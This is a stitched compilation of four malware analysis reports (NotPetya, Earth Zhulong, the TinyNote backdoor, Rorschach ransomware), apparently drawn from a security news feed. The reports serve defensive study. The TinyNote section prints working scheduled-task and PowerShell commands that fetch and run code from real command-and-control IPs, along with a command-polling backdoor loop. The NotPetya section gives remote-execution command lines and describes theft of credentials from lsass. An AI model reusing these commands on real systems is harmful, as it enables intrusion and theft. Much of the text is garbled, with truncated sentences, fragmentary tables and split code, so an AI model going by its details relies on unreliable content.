Update: Due to naming convention consistency in the industry, CrowdStrike is now calling this variant of Petya – NotPetya.

NotPetya Technical Analysis  A Triple Threat File Encryption MFT Encryption Credential Theft


For more information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents the NotPetya attack.


NotPetya combines ransomware with the ability to propagate itself across a network.


It spreads to Microsoft Windows machines using several propagation methods, including the EternalBlue exploit for the CVE-2017-0144 vulnerability in the SMB service.


Once a machine is infected by NotPetya, a series of malicious activities ensue, including the following: Dropped files Process hashes and process privilege checks Credential theft Token impersonation Malware propagation Network node enumeration SMB copy and remote execution SMBv1 exploitation via EternalBlue UNC write malware to admin$ on remote target Remote execution of the malware MBR ransomware Physical drive manipulation MFT encryption File encryption System shutdown Anti-forensics Ransomware instructions for file recovery occur after the infection process has completed.


Do NOT pay the ransom.


No files will be recovered if the ransom is paid.


Dropped Files


Ransomware DLL C:\windows\perfc.dat


Analysis of dllhost.dat shows that it is a copy of the PsExec utility, which is a telnet replacement that allows execution of processes on other systems.


The malware is a DLL that is launched using rundll32.exe: “C:\Windows\perfc.dat”,#1 18


[“username1:pass1” “username2:pass2” … ] Perfc.dat is the malware name.


It is executed with the following arguments: #1 → This is the ordinal number of the exported function 18 → Minutes used to determine how long to wait for the scheduled shutdown “username:pass” → Credentials to be used to propagate the malware on the network.


= 0xFB → ns.exe or ccSvcHst.exe PROC_FLAG


= 0xF3 → avp.exe and either ns.exe and/or ccSvcHst.exe


In addition, within the same subroutine, the malware attempts to gain various levels of privilege.


It uses a global flag PRIV_FLAG to track the extent of privileges the malware is able to obtain.


PRIV_FLAG = 0 → no privileges PRIV_FLAG = 1 → SeShutdownPrivilege.


Ability to shutdown the system. PRIV_FLAG


Required to either debug or adjust memory for a process owned by another account PRIV_FLAG


= 4 → SeTcbPrivilege.


Process can assume the identity of any user PRIV_FLAG


= 5 → SeShutdownPrivilege & SeTcbPrivilege PRIV_FLAG


= 6 → SeDebugPrivilege & SeTcbPrivilege PRIV_FLAG


The credential theft module is dropped if the malware has one of the following privileges: (It should be noted that the PROC_FLAG can any of the possible values) SeDebugPrivilege SeShutdownPrivilege & SeDebugPrivilege SeDebugPrivilege & SeTcbPrivilege SeShutdownPrivilege & SeDebugPrivilege & SeTcbPrivilege The MBR overwrite and MFT encryption subroutine is not executed if avp.exe is found running on the system The EternalBlue subroutine is not executed if either ns.exe or ccSvcHst.exe are found running on the system The system is rebooted using the API NtRaiseHardError if the process has at least the SeShutdownPrivilege level Credential Theft Credentials are provided to the malware in two ways:


As an argument to the DLL (see command line execution section) Communication via a named pipe from the credential theft module To create a named pipe, a random GUID is generated, and the credential theft module is launched as a child process with the named pipe as an argument.


Communication is constantly monitored by a thread that invokes PeekNamedPipe to copy data from the pipe.


Credential Theft Module Depending on the OS architecture, the malware will either drop a 32-bit version or a 64-bit version of the credential theft module.


The malware decompresses a resource (0x1 if the OS is x86, 0x2 if the OS is x64) of type RT_RCDATA using zlib 1.2.8 compression.


It calls OpenProcess on lsass.exe with access flag set to VM_READ, and looks for the modules wdigest.dll and lsasrv.dll loaded in the lsass.exe process.


wdigest.dll → Digest authentication security package.


Used to: Authenticate client access with integrity protection to a directory service using LDAP Authenticate client access using SASL Authenticate client access to a web site lsasrv.dll → Authentication security component.


The lsasrv.dll is a LSA (Local Security Authority)


The extracted credentials are sent to the NotPetya process via the named pipe.


Token Impersonation Impersonation occurs only if the process has the required privilege level to assume the identity of another user.


OpenProcessToken and GetTokenInformation is used to grab the TokenSessionId for terminal service sessions.


Each token is duplicated and the new handle is saved to a list.


For each of the duplicated tokens, a new thread is created in suspended mode.


The impersonated token replaces the current thread token with SetThreadToken and the thread is resumed.


This thread is then used to execute the SMB copy and remote execution section as the impersonated user.


Malware Propagation The following methods are used to spread across a network: Network node enumeration SMB copy and remote execution SMB exploitation via EternalBlue Network Node Enumeration


The malware creates a thread for core work that invokes the following API’s: GetExtendedTcpTable to retrieve a list of TCP endpoints GetIpNetTable to retrieve the IPv4 to physical address mapping table → Gets a MIB_IPNETTABLE structure NetServerEnum to get a list of servers on the domain with the following parameters: Servername = null level = 101 (return server names, types, and associated data) NetServerGetInfoto retrieve the current configuration for the local server, specifically to determine if the system is a non-domain controller server, a primary domain controller, or a backup domain controller.


The API returns a SERVER_INFO_101 structure that contains an sv101_type field.


The malware checks to see if the value of that field is SV_TYPE_SERVER_NT, SV_TYPE_DOMAIN_CTRL, or a SV_TYPE_DOMAIN_BAKCTRL.


SMBv1 Exploitation via EternalBlue NotPetya has the capability to exploit SMBv1 via the well known EternalBlue exploit.


Once the exploit is launched, the shellcode will end up writing the file and executing the malware on the target machine.


UNC Write to Admin$ WNetAddConnection2W is used to connect to a server using the default credentials for the impersonated token, and an attempt is made to write the file to: \\server-name\\admin$\\malware-name UNC write to admin$ CreateFile and WriteFile are used to write the file to the remote server.


The typical filename is perfc.dat.


Remote Execution Remote execution relies on either PsExec or WMIC.


DLLHost.dat (psexec) The following command will execute on the remote machine: C:\Windows\dllhost.dat \\<target host> -accepteula -s


/password:”<password>” process call create “C:\Windows\System32\rundll32.exe \”C:\Windows\perfc.dat\” #1 19 “<additional creds for arguments>”” /node → specify server name /user → username /password → password Process call create → execute remote command Once the command line arguments are generated, either CreateProcessAsUser or CreateProcess is executed, depending on whether this is being done through impersonation or stolen credentials.


MBR Ransomware Physical Drive Manipulation The malware calls DeviceIOControl on //./PhysicalDrive0 with IOCTL_DISK_GET_PARTITION_INFO_EX control code to get PARTITION_INFORMATION_EX structure.


The malware takes the following steps to modify the MBR: Reads the MBR and encodes it using XOR encoding with key 0x7 The first sector is overwritten by a custom boot loader


The 16-bit code uses this flag to determine whether to infect the MFT A random array of bytes 0x20 in length is generated using CryptGenRangom.


This is used as the Salsa20 encryption key.


In addition, another random array of bytes 0x8 in length is created using the same API call; this is used as the nonce for the encryption.


This is the Bitcoin wallet that is later displayed on the splash screen.


A random blob is created by CryptGenRandom 0x3C bytes in length.


This is presented as the user’s personal installation key on the splash screen.


Sector 34 contains the original MBR that was encoded by XORing with 0x7 MFT Encryption As mentioned previously, the malware has its own custom boot loader once the machine has been infected and rebooted.


It should be noted that the code is a low-level 16-bit code that uses BIOS interrupt calls to display text to the user, accept user input, and read/write to various sectors.


Since this code is run outside of the OS, its capabilities are quite limited.


The following are the BIOS interrupt services used throughout the code: int 0x13 – read/write sectors on disk int 0x10 – display text int 0x19 – cause disk reboot int 0x16 – obtain keystrokes, and status of keyboard buffer The code first checks the CRYPT_FLAG in sector 32 to see whether it has been set to 1 (encrypted).


The first time a machine is infected, the CRYPT_FLAG is always set to 0 (not encrypted), which leads the malware to invoke a subroutine that displays the following decoy check disk screen to the user.


In reality, the subroutine performs the following functions: Sets the CRYPT_FLAG to 1.


This is performed before any encryption actually takes place Encrypts the contents of Sector 33 using the Salsa20 cipher.


Once the key is entered, the code attempts to decrypt the contents of Sector 33, which were previously encrypted using Salsa20 key.


Once the sector is decrypted, the code reads all 512 bytes of the sector and ensures that they all equal 0x7.


If this is successful, the CRYPT_FLAG is set to 2 (decrypted), and the same key is used to decrypt the MFT.


Furthermore, the original encoded MBR in Sector 34 is also decoded, and placed back into Sector 0, as shown below.


, the malware also targets certain files.


The following table contains the file extensions that are targeted: .3ds .7z .accdb .ai .asp .aspx .avhd .back .bak


.c .cfg .conf .cpp .cs .ctl


.dbf .disk .djvu .doc .docx.


.dwg


.eml .fdb .gz


.h .hdd .kdbx .mail .mdb .msg .nrg .ora


.ost .ova


.ovf


.rar


This key is used to encrypt all the files on the system.


The malware will first start enumerating files in the directory it is being executed from.


The following steps are taken to encrypt the individual files: Gets file handle Gets the file size Creates a file mapping of the file with PAGE_READWRITE protection Maps the view of the file mapping with FILE_MAP_WRITE | FILE_MAP_READ access Calls CryptEncrypt to encrypt the contents of the file using AES-128 Once the files in a folder are encrypted, the ransomware drops a ransomware note in a file named README.txt.


The “personal installation key” is the result of the AES-128 key encrypted with an RSA-2048 key, which is included in the malware.


The following message is then displayed to the user: System Shutdown NotPetya employs a few methods to ensure that the system reboots so that the boot loader loads the MFT encryptor code.


It spawns cmd.exe with the following commandline:


/ST <HH:MM>


If the second parameter is 30, the scheduled task will trigger 30 minutes after the malware execution.


However, if no second parameter is provided, the scheduled task is set to trigger 60 minutes after the malware execution by default.


Explanation of schtask parameters: /TN → taskname (not providing a custom name forces Windows to provide a random GUID as a name) /TR → taskrun.


This is an undocumented Windows API that causes the system to reboot.


If the API fails to execute, the malware calls InitiateSystemShutdownExW with the flag set to reboot the machine.


Anti-Forensics The malware employs anti-forensics practices throughout its execution.


For instance, immediately after execution, it loads itself in memory, and deletes itself from the disk.


However, before deletion, it zeros out the file contents on disk to ensure that the malware cannot be recovered via disk forensics.


The malware uses a similar approach for the credential theft module it drops as well.


Once the contents of its resource section are decompressed and written to disk, it zeros out the memory buffer containing the decompressed PE files.


The malware also spawns cmd.exe to execute the following command:


C:” This command is responsible for clearing out the following logs: Setup logs: contains events related to application setup System logs: contains events pertaining to system components Security logs: contains events such as logon attempts, file creation, access, deletion Application logs: contains events logged by applications USN journal: maintains a record of changes made to a particular volume For information on CrowdStrike’s proactive protection features see the earlier CrowdStrike blog on how Falcon Endpoint Protection prevents this destructive ransomware.


Below is the relevant data for the files analyzed.


File:Credential Theft Module 32-bit Size: 47616 MD5: 2813D34F6197EB4DF42C886EC7F234A1 SHA256: EAE9771E2EEB7EA3C6059485DA39E77B8C0C369232F01334954FBAC1C186C998 Compiled: Tue, Jun 6 2017, 13:31:37 – 32-bit EXE File:Credential Theft Module 64-bit Size: 57344 MD5: 7E37AB34ECDCC3E77E24522DDFD4852D SHA256: 02ef73bd2458627ed7b397ec26ee2de2e92c71a0e7588f78734761d8edbdcd9f Compiled: Tue, Jun 6 2017, 13:31:37 – 64-bit EXE File: dllhost.dat Size: 381816 MD5: AEEE996FD3484F28E5CD85FE26B6BDCD SHA256: F8DBABDFA03068130C277CE49C60E35C029FF29D9E3C74C362521F3FB02670D5 Compiled: Tue, Apr 27 2010, 0:23:59 – 32-bit EXE Version: 1.98 Signature Valid Subject: Microsoft Corporation Issuer: Microsoft Code Signing PCA The post NotPetya Technical Analysis – A Triple Threat: File Encryption, MFT Encryption, Credential Theft appeared first on .


Earth Zhulong:

Earth Zhulong Familiar Patterns Target Southeast Asian Firms


Familiar Patterns Target Southeast Asian Firms In 2022, we discovered Earth Zhulong, a hacking group that has been targeting Asian firms similar to another well-known threat actor.


By: Ted Lee February 08, 2023Read time: ( words) Save to Folio Subscribe Introduction In 2022, we discovered a hacking group that has been targeting telecom, technology, and media sectors in Southeast Asia since 2020.


We track this particular group as Earth Zhulong.


We believe that Earth Zhulong is likely related to the Chinese-linked hacking group 1937CN based on similar code in the custom shellcode loader and victimology.


Through the TTPs, we see that they are sophisticated and meticulous as malicious actors.


They adopt multiple approaches to obfuscate their tools and eliminate their footprint after finishing the operation.


As a result, we have exerted greater effort to hunt down and analyze their tools to fully understand the attack scenario.


In addition, we have verified three different variants of ShellFang were used from 2020 to 2022.


The latest variant demonstrates that threat actors have adopted more obfuscation techniques, including abusing exception mechanisms to obfuscate the execution flow of programs and Windows API hashing.


Several hack tools were also found on the infected hosts, including tunneling, port scanning, a Go-lang based backdoor and an information stealer used to harvest internal information.


However, we found the relationship during the long-term investigation and finally correlated old variants with the latest one.


Initial Access – Lure document Back in 2020, through the command and control (C&C) domain observed in our investigation, we found a lure document with a malicious macro.


Once the victim opens the document, the embedded macro will be executed, injecting the shellcode into rundll32.exe.


We have identified the embedded shellcode as a Cobalt Strike shellcode which will be used to build connection to a remote hacking machine.


We believe this lure document is one of the approaches used by the threat actors to compromise their targets.


Figure 1.


Screenshot of decoy document Figure 2.


Shellcode which is used for code injection.


Propagation through GPO In early 2022, we further observed new TTPs used to spread malware in the victim’s environment.


After getting access to the internal network, they perform domain exploration using SharpHound.


Once they successfully compromise the domain controller, they will submit immediate tasks to the hosts in the domain through GPO as seen in Figure 5, As the hosts receive the task through GPO, they will run a PowerShell script named “co.ps1” and create scheduled tasks for persistence. Figure 4.


Overview of attack scenario Figure 5.


PowerShell script to create a ImmediateTask through GPO


As shown in Figure 6, threat actors use multi-layered AES encryption and base64 encoding to obfuscate “co.ps1”.


Heavy obfuscation in a simple but useful anti-analysis approach makes it difficult for security products to detect their scripts.


After clearing the obfuscation, we found the script is used to deploy malware components (win.exe, gm.dll, and lengs.medil.xml) on the infected machine.


Figure 6.


Heavily obfuscated PowerShell script Figure 7.


“win.exe” is a renamed GoogleToolbarNotifier application.


The malicious DLL “gtn.dll”, which we named as “ShellFang”, loads when a legitimate executable is launched.


It then calls the export function, “Go”, to start the loading procedure of the encrypted payload to decrypt the payload called “lengs.medil.xml”, which is the Cobalt Strike beacon. Figure 8. win.exe file information Figure 9. win.exe will call the malicious export function in gtn.dll Evolution of ShellFang loader During the investigation, we found that Earth Zhulong started targeting Southeast Asian firms in 2020.


Although they always used DLL sideloading to launch their malware, they never stopped changing the code structure of their shellcode loader.


Here we summarize the information we collected from 2020 to 2022 and verify three different variants used by Earth Zhulong.


However, based on the timestamp of export function, this variant was compiled in 2017.


The code structure of ShellFang is simple.


It would read the encrypted payload (“nkford.nlp” is the payload in this case) then decrypt it and run it in the memory.


The shellcode loader used XOR with a 26 byte keyset and started a long sleep after finishing shellcode execution. Figure 10.


Main function of earliest variants Loader in 2021 (Variant 2) Compared to the variant in 2020, there was no big change in 2021.


Figure 11.


Main function of variant in 2021 Loader in the latest campaign (2022, variant 3) Compared to previous variants, changes were seen in the code structure in variant 3.


In this variant, more anti-analysis techniques were added to strengthen their loader, including API hashing and execution flow obfuscation through exception mechanism.


Threat actors intentionally raise exceptions to interrupt malware analysts and obfuscate the execution flow of the program.


The payload will be decrypted with RC4 algorithm, and the final payload is an HTTPs Cobalt Strike beacon.


A loop of intentional exception triggers to obfuscate control flow of program.


Necessary APIs will be dynamically resolved during execution.


Hacking Tools Besides the shellcode loader and Cobalt Strike, we also observed additional tools, including port scanner, proxy and information stealer deployed to the compromised hosts.


It’s worth noting that they use various programming platforms including C language, Go-Lang and Python.


In this section, we will mention some noteworthy hacking tools used in their operation.


MACAMAX Although threat actors already installed the Cobalt Strike as backdoor, we also found out that they deployed another Go-Lang backdoor, which we named MACAMAX in the meantime.


It supports proxy (Socks5), upload/download file and remote shell functions.


Furthermore, the configuration file will be deleted once it is loaded into memory for fear of leaking network infrastructures.


cmd> {MACAMAX}.exe {network config file} Usage of MACAMAX -rh={remote host} -rp={remote port} -ps={proxy server} -sl=5


Themida-packed EarthWorm During our investigation, we found they also use the notorious network-penetration tool, “EarthWorm”.


EarthWorm is a simple network tunnel tool with SOCKS v5 server and port transfer developed by a Chinese engineer.


In order to avoid being detected by security products, threat actors use Themida packer to obfuscate the signature used for detection.


This information stealer is compiled with Python 3.10 and packed by noted tools, “PyInstaller”, used to convert python script to be a standalone executable.


After checking the Python assembly code of the sample, we found this tool is used to dump information from the victim’s Oracle database.


Figure 14.


Embedded WinRAR command Figure 16.


Dropbox configuration and upload RAR data Footprint Hidden and Elimination Threat actors run PowerShell scripts with previous versions of PowerShell that do not support Script Block Logging with the intent to evade being detected while running the malicious scripts (so-called “Downgrade Attack”).


This is a common approach to make it harder for analysts to analyze their tools in the ransomware attack, but it’s relatively rare in an APT attack.


These show that they are sophisticated and meticulous actors. Figure 17.


Attribution Summarizing the information collected from 2020 to 2022, we find that Earth Zhulong is likely to be related to a notorious hacking group, “1937CN” based on the code similarity and victimology aspects.


In this section, we will introduce the process of attribution.


Code similarity Although the earliest variant of ShellFang used in this campaign was observed in 2020, we found the malware was already compiled in 2017, based on the timestamp of an export function, which can be seen in Figure 19.


In addition, we reviewed reports published around that time and found the decryption algorithm in ShellFang was once used in the campaign by 1937CN, which was revealed by Fortinet in 2017.


Shown in Figure 20, the XOR keyset and algorithm are highly similar.


Based on the prevalent time and algorithm, we believe Earth Zhulong is likely to be related to 1937CN.


Figure 19.


Timestamp of export function in the earliest variant Figure 20.


The left is the algorithm revealed by Fortinet in 2017.


Victimology Based on our long-term investigation, Southeast Asia is Earth Zhulong’s major target, focusing on telecom and media sectors.


In victimology aspects, Earth Zhulong is consistent with the 1937CN group.


Conclusion Through long-term monitoring, we found this campaign continued targeting Southeast Asia from 2020 to 2022.


In the past 2 years, they always have used DLL sideloading as their major technique to launch their malware.


However, they continued updating their tools and even added more anti-analysis techniques in their latest tools including multi-layer obfuscation, API obfuscation, and execution flow obfuscation by raising exceptions intentionally.


We also found they compromise the domain controller in the victim’s environment and deployed Cobalt Strike on their hosts by creating immediate tasks through GPO.


In addition, Go-lang and Python are also used as programming languages to build their tools.


Both programming languages provide strength for cross-platform programs development.


Furthermore, Python and Go-lang executables usually compile all necessary libraries in a single binary, making malware classification more difficult for analysts and resulting in a large binary.


Some security products have limitations when handling large files.


Which may be their approach as large binaries reduces the risk of being detected.


In the process of tracking and analyzing the data, we have identified the hacker group behind the campaign which targets organizations in Southeast Asia, and called it Earth Zhulong.


We hope our findings will remind the public that the actions and motivations of 1937CN continue to resurface through groups like Earth Zhulong, and that these groups remain a big threat to cybersecurity in Southeast Asia.


While the threat remains focused on Southeast Asia, tactics like this can be applied to various places across the world.


It is better to stay ahead of the curve to ensure your safety against these malicious actors.


Ensuring your systems are protected on all aspects is integral to the productivity of your enterprise.


Trend Micro Vision One can help you prevent threats like this with multiple security layers across all platforms, and its intuitive threat detection, investigation and response system makes it a key factor to stop Earth Zhulong’s evolving methods of infiltrating systems.


MITRE Tactics Techniques Discovery T1087 - Account Discovery T1482 - Domain Trust Discovery Execution T1204.002 - User Execution: Malicious File Defense Evasion T1574.002 - Hijack Execution Flow: DLL Side-Loading T1055 - Process Injection T1070.006 - Timestomp T1140 - Deobfuscate/Decode Files or Information T1070 - Indicator Removal T1562.010 - Downgrade Attack Persistence T1053.005 - Scheduled


Task Privilege Escalation T1484 - Domain Policy Modification T1078 - Valid Account Command and Control T1071.001 - Application Layer Protocol: Web Protocols T1090.001 - Internal Proxy T1090.002 - External Proxy Authors Ted Lee Threat Researcher


Malware Spotlight:

Malware Spotlight Camaro Dragons TinyNote Backdoor


The threat actors responsible are tracked by Check Point Research as Camaro Dragon and are associated with a broad network of espionage operations aligned with Chinese interests.


Camaro Dragon overlaps with previously reported activities conducted by state-sponsored Chinese threat actors, namely Mustang Panda.


A portion of the group’s attack toolset and underlying infrastructure was thoroughly described by fellow ESET researchers in their detailed technical paper on the MQsTTang backdoor.


In this report, we analyze another previously undisclosed backdoor associated with this cluster of activity which shares with it not only a common infrastructure but also the same high-level intelligence-gathering goal.


Key findings: A previously unknown Go-based backdoor called TinyNote was found on one of the Camaro Dragon distribution servers, in addition to being spotted in the wild.


The malware samples also communicate with other known C&C servers attributed to Camaro Dragon.


The backdoor performs a bypass of the Indonesian antivirus SmadAV, a security tool popular in Southeast Asian countries, such as Myanmar and Indonesia, and apparently used by a subset of the campaign targets.


However, it focuses on redundancy to gain a foothold on the infected machine, including setting up multiple persistency tasks, communication with several different C&C servers, and different types of C&C command execution.


Introduction When we investigated a few delivery servers related to Camaro Dragon, we discovered that one of them exposed the threat actors’ tools and files located on the server, only protected by basic HTTP Authorization with a known password.


The backdoor we found on the server, and its versions found in the wild, are executables with names related to foreign affairs, such as PDF_ Contacts List Of Invitated Deplomatic Members and Note_Documents_No.14-Tokyo-__From___Embassy___of___Russia_.


Similar to MQsTTang, the TinyNote backdoor samples also contain folder icon in an attempt to deceive victims about their real purpose.


The custom backdoor is written in the Go programming language.


The actors’ heightened interest in Myanmar entities and successful attacks carried out against them were previously discussed thoroughly.


Our examination of the infrastructure led us to other findings that indicate the actors’ interest in Taiwan’s government entities as well.


Despite its simplicity, it employs an interesting method of bypassing a very specific antivirus solution, suggesting the actors had issues gaining a foothold in specific environments.


SmadAV evasion At the beginning of its execution, the malware starts a function called bypassSMADAV, whose purpose is to bypass the Indonesian antivirus Smadav.


The developers of the antivirus position their solution as a “second-layer antivirus” with “active users mostly from Indonesia, and other users mostly come from Southeast Asia and Africa Countries”.


The existence of the code that handles this specific antivirus once again confirms the focused targeting of Camaro Dragon campaigns and their knowledge of their victims’ environments and solutions.


It’s worth mentioning that in previous operations, the actors used SmadAV for their own purposes, forcing its component SmadAVprotect32.exe to side-load their malicious DLL.


When any new process starts in the system, SmadAV scans all available windows.


For every problematic window found, the antivirus checks if the window is visible with the API function IsWindowVisible.


If the window is visible, it adds this window owner’s process ID to an array containing all current processes that have at least one visible window: Figure 1 – SmadAV code that collects a list of PIDs that have associated windows.


After iterating over all windows, the antivirus process iterates over this array and compares each process ID to the newly created process ID.


If none is found, meaning the new process doesn’t have any visible windows, the antivirus deems the newly created process to be malicious and shows a popup that suggests blocking the created process.


This flow might act as protection from the techniques like process hollowing where the process is created in suspend mode and then replaced with malicious code.


These attributes make sure the window is identified as visible by IsWindowVisible function, but in fact, it is not shown to the user and does not appear in the taskbar or when pressing ALT+TAB:


Before a call to CreateWindowEx, you would usually first need to create a class by calling RegisterClass and then class CreateWindowEx.


But in this case, the threat actors decided to use a default class name which allows them to skip calling the RegisterClass function prior to calling CreateWindow.


Ultimately, creating this window allows the threat actors to bypass the check, as the newly created window is technically visible, and continue the backdoor execution uninterrupted.


Figure 3 – SmadAV detection on the Go backdoor with the removed bypassSMADAV function.


First mode: persistence, PowerShell backdoor, and malware “installation” The malware checks if there is a “zip” string in the file path.


If this fails, the malware does not continue the execution, likely because the infected user only has low privileges.


Next, the malware creates 2 scheduled tasks called test and test2 to retrieve and execute PowerShell commands, each retrieved from robots.txt from different C&C servers, most likely to eliminate a single point of failure: schtasks /Create


Net.WebRequest]::Create(\\\"http://5.188.33.190/Robots.txt\\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\"" /f schtasks /Create


/TN test2 /SC MINUTE /MO 45 /TR "powershell \"$r=[System.


Net.WebRequest]::Create(\\\"http://103.159.132.91/Robots.txt\\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\"" /f At the time of execution, both servers returned the same code pointing to the third server: C:\Windows\System32\cmd.exe /c "start powershell.exe -nop


Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0); $url="http://103.159.132.91:8081/"; $postParams = 'result=start'; while (1 -eq 1) { try { $data =


Text.


Encoding]::UTF8.GetBytes($postParams); $req =


[System.Net.WebRequest]::Create($url); $req.


ConnectionLimit =65535; If ($req.


CloseConnectionGroup("") } $req.


Method = "POST"; $req.


ContentType = "application/x-www-form-urlencoded"; $req.


ContentLength = $data.


Length; $Stream = $req.GetRequestStream(); $Stream.


Write($data, 0, $data.


Length);$Stream.


Flush();$Stream.


Close(); #waiting remote [System.Net.


WebResponse] $resp = $req.GetResponse();$header=$resp.


GetResponseHeader('CMD'); $d =


[System.Convert]::FromBase64String($header); $Ds =


Encoding]::UTF8.GetString($d);$result = ""; Foreach ($string in invoke-expression $Ds){$result=$result+'_n1w_'+$string;}; $result =


[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($result)); $postParams = "result=$result"; } catch{}; };


The malware then copies itself to the zip file with the name [16 random characters].zip in c:\users\public\, and also creates another copy of itself to the path using the zip name as a folder, for example, c:\users\public\pMiOxI3G44Igrpq7.zip\. Both the file inside the zip and the unzipped copy of the file get the same randomly generated name [5 random characters].exe, for example, 8q3Fj.exe.


Finally, the malware creates a scheduled task to execute its copy from this randomized path: schtasks /Create


/TN 8NaZrCq3pGeDRXKF /SC MINUTE /MO 15 /TR "explorer.exe c:\users\public\8NaZrCq3pGeDRXKF.zip\8NaZr.exe" /f Second mode: the backdoor This mode happens after the malware has achieved persistence and is running from a “zip” path.


The current system username The current username home folder The system’s network interfaces (name, MacAddress, description)


Next, it encrypts the string using a simple XOR encryption algorithm with the key NASA and Base64 encodes it afterward.


It then picks one random C&C URL out of the three available and constructs a GET request: http://5.188.33.190/api.php http://103.169.90.132/api.php http://103.159.132.91/api.php


The encoded enumeration data is stored in a cookie called SSN.


Other headers in the request are constructed from serval random values.


The hostname header is selected from the following list: www.google.com www.facebook.com www.gstatic.com twitter.com The user-agent is also randomized and is selected from the following list: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0)


Gecko/20100101 Firefox/103.0 Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0)


Gecko/20100101 Firefox/63.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64)


AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0


Safari/537.36 The expected result from the server is a JSON with the following structure: {"msg":"[BASE64-ENCODED COMMAND]"} After the validation of the JSON and Base64 decoding, the malware creates a Goroutine that executes the command and continues to listen for more commands in a loop.


In addition to the fact that one of the backdoor versions was found on the Camaro Dragon distribution server, there are other strong connections between the actors and the TinyNote malware: The server 103.159.132[.]91, where one of the versions of the malware was first found behaves like the C&C server of the backdoor, and was also a delivery server for the MQsTTang backdoor during the same time period.


Another C&C server, 103.169.90[.]132, is known to be used by the threat actors continuously.


The victimology and lures are consistent with the latest Camaro Dragon campaigns, including the activity associated with the MQsTTang backdoor.


In addition, the actors also keep using a “folder” icon and a specific naming convention for some of their backdoors seen since early 2023.


The third C&C server, 5.188.33[.]190, has rather unique SSL certificates with Alternative names mail.mofa.gov.tw, intra.mofa.gov.tw, and *.mofa.gov.tw.


Another server with the same certificate, 23.106.123[.]59 is currently redirecting to the official infrastructure of the government of Taiwan, but likely was used for the additional attacks by the threat actor.


Conclusion The TinyNote backdoor highlights the targeted approach of Camaro Dragon and the extensive research they conduct prior to infiltrating their intended victims’ systems.


Although the backdoor is not technically complex, it employs several noteworthy tactics to establish an initial foothold in the compromised systems.


These include the utilization of Golang, a programming language rarely used in Camaro Dragon tools, minimal lightweight functionality, and embedded bypass of a specific antivirus software commonly installed on potential targets.


The simultaneous use of this backdoor together with other tools with different levels of technical advancement implies that the threat actors are actively seeking to diversify their attack arsenal.


The post Malware Spotlight: Camaro Dragon’s TinyNote Backdoor appeared first on Check Point Research.


Research by: Jiri Vinopal, Dennis Yarizadeh and Gil Gekker Key Findings: Check Point Research (CPR) and Check Point Incident Response Team (CPIRT) encountered a previously unnamed ransomware strain, we dubbed Rorschach, deployed against a US-based company.

Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research


In addition, it does not bear any kind of branding which is a common practice among ransomware groups.


The ransomware is partly autonomous, carrying out tasks that are usually manually performed during enterprise-wide ransomware deployment, such as creating a domain group policy (GPO).


In the past, similar functionality was linked to LockBit 2.0.


The ransomware is highly customizable and contains technically unique features, such as the use of direct syscalls, rarely observed in ransomware.


Moreover, due to different implementation methods, Rorschach is one of the fastest ransomware observed, by the speed of encryption.


The ransomware was deployed using DLL side-loading of a Cortex XDR Dump Service Tool, a signed commercial security product, a loading method which is not commonly used to load ransomware.


The vulnerability was properly reported to Palo Alto Networks.


Introduction While responding to a ransomware case against a US-based company, the CPIRT recently came across a unique ransomware strain deployed using a signed component of a commercial security product.


Unlike other ransomware cases, the threat actor did not hide behind any alias and appears to have no affiliation to any of the known ransomware groups.


Throughout its analysis, the new ransomware exhibited unique features.


A behavioral analysis of the new ransomware suggests it is partly autonomous, spreading itself automatically when executed on a Domain Controller (DC), while it clears the event logs of the affected machines.


The ransomware note sent out to the victim was formatted similarly to Yanluowang ransomware notes, although other variants dropped a note that more closely resembled DarkSide ransomware notes (causing some to mistakenly refer to it as DarkSide).


Each person who examined the ransomware saw something a little bit different, prompting us to name it after the famous psychological test – Rorschach Ransomware.


Execution Flow As observed in the wild, Rorschach execution uses these three files: cy.exe – Cortex XDR Dump Service Tool version 7.3.0.16740, abused to side-load winutils.dll winutils.dll – Packed Rorschach loader and injector, used to decrypt and inject the ransomware.


Figure 1 – Rorschach’s High Level Execution Flow on both endpoints and on Domain Controllers.


Security Solution Evasion Rorschach spawns processes in an uncommon way, running them in SUSPEND mode and giving out falsified arguments to harden analysis and remediation efforts.


The falsified argument, which consists of a repeating string of the digit 1 based on the length of the real argument, rewritten in memory and replaced with the real argument, resulting in a unique execution: Figure 2 – Rorschach’s process tree spawns processes with falsified arguments.


Similar functionality was linked in the past to LockBit 2.0, although the Rorschach Ransomware GPO deployment is carried out differently, as described below: Rorschach copies its files into the scripts folder of the DC, and deletes them from the original location.


Rorschach then creates a group policy (see Appendix C) that copies itself into the %Public% folder of all workstations in the domain.


This is done by creating a schedule task invoking taskkill.exe.


Finally, Rorschach creates another group policy that registers a scheduled task which runs immediately and upon user logon, to run Rorschach’s main executable with the relevant arguments.


Our colleagues in AhnLab published a more thorough behavioral analysis of another Rorschach variant which provides further details into the operations.


Ransomware Analysis


In addition to the ransomware’s uncommon behavior described above, the Rorschach binary itself contains additional interesting features, differentiating it further from other ransomware.


The actual sample is protected carefully, and requires quite a lot of work to access.


First, the initial loader/injector winutils.dll is protected with UPX-style packing.


After Rorschach is injected into notepad.exe, it’s still protected by VMProtect.


Only after defeating both of these safeguards is it possible to properly analyze the ransomware logic.


Security Solution Evasion Although Rorschach is used solely for encrypting an environment, it incorporates an unusual technique to evade defense mechanisms.


The procedure involves utilizing the instruction itself, and it goes as follows:


The ransomware finds the relevant syscall numbers for NT APIs, mainly related to file manipulation.


Rorschach then stores the numbers in a table for future use.


In other words, the malware first creates a syscall table for NT APIs used for file encryption: Figure 3 – Creation of syscall table for certain NT APIs.


The end of the table is a section with the relevant syscall numbers: Figure 4 – Section containing the syscall table.


